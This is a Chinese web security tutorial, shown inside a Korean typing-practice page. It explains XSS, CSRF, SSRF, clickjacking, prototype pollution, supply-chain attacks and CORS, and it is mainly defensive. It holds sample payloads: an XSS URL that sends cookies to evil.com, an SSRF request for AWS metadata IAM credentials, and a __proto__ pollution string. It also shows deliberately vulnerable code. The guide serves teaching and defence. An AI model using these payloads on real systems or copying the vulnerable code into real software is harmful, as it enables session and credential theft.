Skip to content

필사 모드: Web 安全攻防实战 — XSS、CSRF、SSRF、Clickjacking、Prototype Pollution、供应链、CORS 完全指南(2025)

中文
0%
정확도 0%
💡 왼쪽 원문을 읽으면서 오른쪽에 따라 써보세요. Tab 키로 힌트를 받을 수 있습니다.

为什么需要一篇讲"攻击技术"的文章

开发者知道有 OWASP Top 10。但他们不知道那些条目落在自己代码的哪个位置。安全不是理论,必须靠具体的攻击手法和具体的防御代码来学。

  • 2024 年登记的 CVE 数量:刷新历史最高纪录,超过 28,000 件。
  • npm 攻击因为 GitHub Dependabot 减少了 30%,但每周仍有数百起。
  • AI 生成的代码平均漏洞密度高出 40%(Stanford 2024)。

2025 年,你的应用被黑掉的方式大概率仍然是这里列出的十种之一

Part 1 — XSS (Cross-Site Scripting)

三种形态

1. Reflected XSS

https://app.com/search?q=<script>fetch('//evil.com?c='+document.cookie)</script>

服务器把 q 原样插入 HTML。点一次 URL 就被窃取。

2. Stored XSS

恶意脚本被保存到评论、个人资料这类持久化存储里。最糟糕的情况 — 所有访问者都受影响。

3. DOM-based XSS

服务器完好无损。客户端 JS 把 location.hashpostMessage 不加校验就插入 DOM。

// 不好的写法
document.getElementById('welcome').innerHTML = `Hello ${location.hash.slice(1)}`;

防御层次

1. 输出转义(基础)

  • React、Vue、Svelte 默认转义
  • 但使用 dangerouslySetInnerHTMLv-html{@html} 时会被击穿。
  • 如果必须允许用户提供 HTML,就用 DOMPurify 做 sanitize。
import DOMPurify from 'dompurify';
element.innerHTML = DOMPurify.sanitize(userHtml);

2. CSP (Content Security Policy)

最强的 XSS 防御。

Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-rAnd0m' 'strict-dynamic';
  style-src 'self' 'unsafe-inline';
  img-src 'self' https: data:;
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none';
  upgrade-insecure-requests;
  • nonce:服务器每次响应生成一个随机值,放进 <script nonce="...">
  • strict-dynamic:受信任的脚本所加载的脚本也允许执行。
  • 'unsafe-inline' 绝对禁止 — 90% 的 CSP 绕过都从这里开始。

3. Trusted Types(Chrome 83+,Firefox/Safari 不支持 → polyfill)

"禁止把字符串直接赋给危险的 sink(innerHTML 等)。"

Content-Security-Policy: require-trusted-types-for 'script'
const policy = trustedTypes.createPolicy('my-policy', {
  createHTML: (input) => DOMPurify.sanitize(input)
});

element.innerHTML = policy.createHTML(userInput);

Google 内部强制启用之后,自家应用的 XSS 报告数量骤降。

4. 框架提供的安全 API

  • React:用普通 children 代替 dangerouslySetInnerHTML
  • Vue:用 {{ }} 代替 v-html
  • Angular:[innerHTML] + DomSanitizer

Part 2 — CSRF (Cross-Site Request Forgery)

原理

攻击者的站点自动提交 <form action="https://bank.com/transfer" method="POST">。受害者的 Cookie 被自动带上,请求于是成功。

2020 年之前的防御:CSRF Token

  • 服务器签发 token → 放进 form 的 hidden field → 校验。
  • Django、Rails 默认内置。
Set-Cookie: session=abc; SameSite=Lax; Secure; HttpOnly; Path=/
  • Lax(2020 年起的 Chrome 默认值):只允许 top-level navigation 的 GET。
  • Strict:跨站时绝不发送。
  • None:不受限制(必须配 Secure)。

大多数 CSRF 都被 SameSite Lax 自动挡住了。 但以下情况仍然需要 token:

  • GET 请求会改变状态(违反 RESTful)。
  • 子域之间的请求。
  • 用 CORS 开放出去的 POST 端点。

不依赖服务器 session 的 CSRF 防御。在 Cookie 和请求头里发送同一个 token 并比对校验。SPA + token 认证中经常使用。

Part 3 — SSRF (Server-Side Request Forgery)

2019 年 Capital One 事件

攻击者(Paige Thompson)诱导服务器从服务端发起请求访问 AWS EC2 元数据(169.254.169.254),窃取 IAM 凭证 → 从 S3 桶泄露了一亿人的数据。

攻击模式

# 服务器代码
@app.route('/fetch')
def fetch():
    url = request.args.get('url')
    return requests.get(url).text

# 攻击:/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

防御

  1. 使用 IMDSv2(AWS) — 基于 token,GET 也需要 session。

    MetadataOptions:
      HttpTokens: required
      HttpPutResponseHopLimit: 1
    
  2. URL 校验 — 校验 scheme、host、port,并在 DNS 解析之后校验 IP。

    • 阻断私有 IP 段(10/8, 172.16/12, 192.168/16, 127/8, 169.254/16)。
    • DNS Rebinding 防御 — 校验之后,在真正发出请求之前再校验一次。
  3. 网络隔离 — 把有 SSRF 风险的代码放进访问不到元数据的 VPC/子网。

  4. 出站代理 — 强制经过基于允许列表的代理。

  5. Fetch 库的 redirect: 'manual' — 防止通过重定向绕道访问内部。

补充要点:0.0.0.0、IPv6、短链接

  • http://0.0.0.0/ → 会被解析为本地绑定地址。
  • http://[::1]/ → IPv6 回环。
  • http://bit.ly/... → 通过重定向指向内部目标。

Part 4 — Clickjacking

原理

攻击者的站点用 <iframe> 把受害站点透明地覆盖在上面,劫持用户的点击。

防御

X-Frame-Options: DENY
Content-Security-Policy: frame-ancestors 'none'

frame-ancestors 更强也更灵活(可以允许多个域名)。X-Frame-Options 属于遗留方案,但一并加上仍然更安全。

用户视角的防御:给重要操作(支付、修改密码)加上二次认证额外确认步骤。

Part 5 — Prototype Pollution

原理(Node.js / 浏览器 JS 通用)

const payload = JSON.parse('{"__proto__": {"isAdmin": true}}');
Object.assign({}, payload);
// 此后所有对象都带上 isAdmin: true
({}).isAdmin  // true

真实 CVE

  • Lodash(2019,_.merge) — 影响数百万应用。
  • jQuery $.extend(true, ...)
  • minimist(2020) — 影响大量 CLI 工具。

防御

  1. 递归 merge 时过滤 __proto__constructorprototype
  2. Object.freeze(Object.prototype) — 尽量在应用启动时执行。
  3. 使用 Map — 存放任意键时用 Map 而不是 plain object。
  4. Object.create(null) — 没有原型的对象。
function safeMerge(target, source) {
  for (const key in source) {
    if (['__proto__', 'constructor', 'prototype'].includes(key)) continue;
    target[key] = source[key];
  }
}

Part 6 — 供应链攻击

代表性事件

event-stream (2018)

在一个每周 200 万下载量的 npm 包里被植入了恶意代码。目标是 Copay 加密货币钱包,试图窃取受害者钱包里的 BTC。

ua-parser-js (2021)

每周 600 万下载量。攻击者夺取维护者账号之后发布了恶意版本。

xz-utils (2024)

几乎所有 Linux 都包含的压缩库。"Jia Tan"花了两年时间取得维护者资格,随后植入了 OpenSSH 后门。微软工程师 Andres Freund 偶然发现了它。

SolarWinds (2020)

构建流水线本身被攻破。恶意代码混进了已签名的更新,分发给了 18,000 家客户。

防御

  1. 提交 lock 文件package-lock.jsonpnpm-lock.yaml
  2. npm ci — 在 CI 中遵循 lock。
  3. 自动依赖更新 + 复核 — Dependabot / Renovate。
  4. 漏洞扫描器 — Snyk、GitHub Advisory、npm audit
  5. 生成 SBOM — 用 Syft 列出组成清单。
  6. 签名校验 — npm 2023+ 的 provenance、Sigstore/cosign。
  7. OSSF Scorecard — 查看包的安全评分。
  8. 最小权限 CI — 别让构建服务器拿到超出需要的权限。

Typosquatting

rquest(真正的是 request)、lodas(真正的是 lodash) — 专门盯着拼写错误的恶意包。养成复制正式名称的习惯。

Part 7 — 彻底理解 CORS

很多开发者的误解

"放开 CORS 就等于放开安全。"错了。 CORS 不是安全功能,而是给同源策略(SOP)开例外的机制。SOP 才是默认的盾牌,CORS 是在这块盾牌上打洞的工具。

基本规则

浏览器发出跨源请求时:

  • 简单请求:GET/HEAD/POST + 特定 Content-Type → 直接发送,若响应里带 Access-Control-Allow-Origin 则允许读取。
  • 预检请求(preflight):PUT/DELETE/自定义头/JSON POST → 先用 OPTIONS 请求确认。

常见错误

1. Access-Control-Allow-Origin: * + Allow-Credentials: true

浏览器会拒绝。用通配符就不能携带凭证。必须回显具体的某个源。

// 不好的写法
res.setHeader('Access-Control-Allow-Origin', '*');
res.setHeader('Access-Control-Allow-Credentials', 'true');

// 好的写法(先检查允许列表)
if (allowedOrigins.includes(origin)) {
  res.setHeader('Access-Control-Allow-Origin', origin);
  res.setHeader('Vary', 'Origin');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
}

2. 把 Origin 原样回显

不做匹配校验就回显,等于任何站点都能读取凭证 → 后果严重。

3. 漏掉 Vary: Origin

缓存会把错误的响应发给另一个源。

CORS 与安全的关系

  • CORS 开着并不会导致 token 泄露 — HttpOnly Cookie 和 Authorization 头依然安全。
  • 当 CSRF 防御依赖 SameSite 加 Origin 校验时,CORS 配置失误就会放行已认证的请求。

Part 8 — Rate Limiting & Bot Defense

为什么需要

  • 登录暴力破解
  • 注册垃圾流量
  • 爬虫导致的成本暴涨
  • AI 重度用户造成的 API 滥用

策略

  1. 基于 IP 的令牌桶 — Redis INCR + TTL 是常见实现。
  2. 基于用户/账号 — 登录之后按账号而不是按 IP 计。
  3. Sliding Window — 精确但成本高。
  4. CDN/Edge 层拦截 — Cloudflare、Fastly、Vercel Firewall。

Bot Detection

  • Cloudflare Turnstile(2022) — 用户体验更好的 CAPTCHA 替代方案。
  • hCaptchaGoogle reCAPTCHA v3
  • Arkose Labs — 金融行业的标准。
  • Device Fingerprinting — FingerprintJS。

响应策略

  • 429 Too Many Requests + Retry-After 头。
  • 比起静默失败,明确的报错对用户和支持团队都更有好处。
  • 对攻击者则用延迟响应(tarpit)让其浪费时间。

Part 9 — 认证中的常见错误

1. 把 JWT 存在 localStorage

一次 XSS 就被窃取。请使用 HttpOnly Cookie。

2. 用 SHA-256 做密码哈希

只能用 Argon2id、bcrypt、scrypt。普通哈希在 GPU 上每秒可以反算数亿次。

3. 密码找回 token 可预测

类似 btoa(email + Date.now()) 的错误。要用密码学随机数 + 短 TTL + 一次性使用

4. 邮箱枚举(Enumeration)

"该邮箱尚未注册" → 攻击者据此收集会员名单。响应必须保持一致

5. 会话固定(Session Fixation)

登录成功时必须轮换会话 ID。

Part 10 — HTTPS 与证书上的错误

没有配置 HSTS

Strict-Transport-Security: max-age=63072000; includeSubDomains; preload

用来防御首次 HTTP 请求上的 MITM。登记到 preload 列表之后,连第一次访问也受保护。

证书固定(Pinning)的陷阱

在移动应用里固定公钥。证书更新时,如果没法重新发布应用,全部用户都会中断。服务用户量到了几千万,就别做固定。监控 CT(Certificate Transparency)更实用。

Let's Encrypt + 自动续期

  • 90 天的证书 → 必须自动续期。
  • 2024 年的 ACME Renewal Info(ARI)让续期时机变得更聪明。
  • rustls-acme、lego、certbot、Caddy(内置)。

Part 11 — 实战检查清单(12 项)

  1. CSP 一开始就上 — 等到运行期再补,unsafe-inline 一定会留下来。
  2. SameSite=Lax 作为默认 — 只有例外情况才用 None。
  3. HttpOnly + Secure — 会话 Cookie 上这是理所当然的。
  4. 强制 IMDSv2 — 用 AWS 时必须做。
  5. URL fetch 一律走 SSRF 代理 — 禁止直接 fetch(userUrl)
  6. 依赖要有 lock 文件 + 自动审计
  7. 所有外部输入都做 schema 校验(Zod 等)
  8. 输出 sink 要 sanitize — 赋值给 innerHTML 之前先过 DOMPurify。
  9. 密码用 Argon2id — 不过已有的 bcrypt 也没问题。
  10. Rate Limit + 登录失败的指数级延迟
  11. 密钥放 Vault/Secrets Manager — 不要提交 .env 文件。
  12. 安全响应头全部配上 — HSTS、CSP、XFO、XCTO、Referrer-Policy、Permissions-Policy。

Part 12 — 十大反模式

  1. innerHTML = userData — 直通 XSS。
  2. 滥用 dangerouslySetInnerHTML — 不做 sanitize 就用。
  3. Access-Control-Allow-Origin: * + 凭证
  4. URL fetch 不做任何校验
  5. evalFunction(string)setTimeout(string)
  6. 把 JWT 放进 localStorage — 一次 XSS 就全丢了。
  7. 密码重置 token 是简单数字 / 基于时间
  8. 错误信息里暴露内部信息 — 堆栈跟踪、查询语句、token。
  9. 没有 CAPTCHA,允许无限次尝试
  10. "因为是 HTTPS 所以安全" — 传输安全只是底线。认证与授权是另一回事。

Part 13 — 学习 & 实践资源

  • 书籍: The Web Application Hacker's Handbook(Stuttard & Pinto) — 经典。
  • 书籍: Real-World Bug Hunting(Peter Yaworski) — HackerOne 的真实案例。
  • 平台: PortSwigger Web Security Academy(免费)。
  • 比赛/练习: HackTheBox、TryHackMe。
  • 工具: Burp Suite、OWASP ZAP、Semgrep、CodeQL。
  • 新闻: Krebs on Security、The Hacker News、GitHub Advisory DB。
  • 随笔: 每年读一读 Snyk/Google 的安全报告。

结语 — 安全就是"基本功"

这篇文章里的攻击,从 1998 年到 2024 年每年都在重复。就算新技术不断出现,先被攻破的永远是丢了基本功的应用。

对 2025 年的工程师来说,安全不是"黑客才做的特殊领域"。它是融进每天的代码评审、每天的库选型、每天的 API 设计里的基本功

好消息:这篇文章里的防御手段大多是免费的。CSP、SameSite、DOMPurify、Zod、Dependabot、Cloudflare Turnstile。一行配置、一个库,就能让大量攻击失效。

坏消息: 总想着"下个项目一定要做"就往后拖。已经上线的应用,此时此刻正在被扫描。

下一篇预告 — "实战网络工程" — TCP 拥塞控制、TLS 1.3、HTTP/3 QUIC、DNS over HTTPS、BGP,一直到 CDN 内部

如果说 Web 安全讲的是"要挡住什么",那么下一篇讲的是"数据是怎么来回走的"。

  • TCP 拥塞控制的现代 — BBR、CUBIC、PRR
  • TLS 1.3 的革命 — 1-RTT、0-RTT、Post-Quantum
  • HTTP/3 + QUIC — 基于 UDP 的重新诠释
  • DNS 的演进 — DoH、DoT、DNSSEC、ECS
  • BGP 劫持 — 2021 年 Facebook 六小时故障的真正原因
  • Anycast 与 CDN 路由 — Cloudflare/Fastly/Akamai
  • WebSocket vs SSE vs WebTransport — 实时通信的选择
  • Zero RTT 的安全风险 — replay attack
  • 用 eBPF 观测网络
  • 按数据包粒度理解协议 — Wireshark 实战

如何把"网络好慢"的原因一路追到协议层去找。下一篇见。

현재 단락 (1/193)

开发者知道有 OWASP Top 10。但他们不知道那些条目**落在自己代码的哪个位置**。安全不是理论,必须靠**具体的攻击手法和具体的防御代码**来学。

작성 글자: 0원문 글자: 8,743작성 단락: 0/193